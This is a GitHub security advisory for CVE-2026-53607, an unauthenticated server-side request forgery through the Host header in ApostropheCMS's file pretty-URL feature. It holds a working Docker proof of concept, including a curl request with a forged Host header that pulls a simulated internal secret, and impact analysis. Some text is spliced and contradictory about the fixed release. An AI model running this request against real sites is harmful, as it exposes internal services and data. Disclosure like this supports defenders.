GitHub Advisoryadvisory · npm
GHSA-34pj-2622-jvxq @apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header
LOW
Official page ↗
- Aliases
- CVE-2026-53607
- Ecosystem
- npm
- Packages
- apostrophe
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-07-31
Affected packages
• npm apostrophe: < 4.31.0 → fixed in 4.31.0
Description
Summary
When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw `Host` HTTP request header:
```js
proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`
```
That URL is then `fetch`'ed and the response body + headers are streamed
straight back to the requester. Because `Host` is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
`/uploads/attachments/-.` (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on `[email protected]`
(latest); no fixed release exists.
• Affected: `apostrophe -.`) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).
Prerequisites are minimal: `prettyUrls: true` (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).
Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
`@apostrophecms/file`, via the `Host` header.
PoC
Three services on an isolated Docker network: `mongo`, `internal` (returns a
fake secret, never exposed to the host), `apos:3000` (the only port the
host can reach). The host attacker proves it cannot reach `internal`
directly, then exfiltrates `internal`'s response via one crafted request to
`apos`.
`app.js` (normal apostrophe site, documented option only):
```js
require('apostrophe')({
shortName: 'apos-ssrf-poc',
autoBuild: false,
modules: {
'@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
'@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
'@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
'@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI)
}
});
```
`docker-compose.yml`:
```yaml
services:
mongo: { image: mongo:7, networks: [poc] }
internal:
image: python:3.12-slim
command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
networks: [poc]
apos:
build: .
environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
depends_on: [mongo, internal]
ports: ["3000:3000"]
networks: [poc]
networks: { poc: { driver: bridge } }
```
`exploit.sh` (unauthenticated attacker on the host):
```sh
1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"
2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
```
Build & run:
```sh
docker compose build && docker compose up -d && ./exploit.sh
```
Observed output (`[email protected]`, clean stack):
```
[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL
[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2
RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).
```
The `internal` service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.
Impact
Unauthenticated remote SSRF, but the path component is constrained to
`/uploads/attachments/-.` (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:
• Cloud metadata is _not_ reachable — AWS IMDS
(`/latest/meta-data/...`), GCP (`/computeMetadata/v1/...`), and Azure
(`/metadata/...`) all live at fixed paths that don't overlap with
`/uploads/attachments/...`. Same for Redis admin, Elasticsearch, and
most internal API surfaces.
• Cross-instance data exfiltration is also ruled out. For an
internal target (another apos instance, MinIO bucket, etc.) to serve
a body at this path, it would need the exact local cuid + slug, which
realistically only happens when the target restored / shares the
public site…
Related
Alias · CVE (1)
- CVE-2026-53607 ApostropheCMS is an open-source Node.js content management system. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq web
- https://nvd.nist.gov/vuln/detail/CVE-2026-53607 advisory
- https://github.com/apostrophecms/apostrophe/pull/5464 web
- https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b web
- https://github.com/apostrophecms/apostrophe package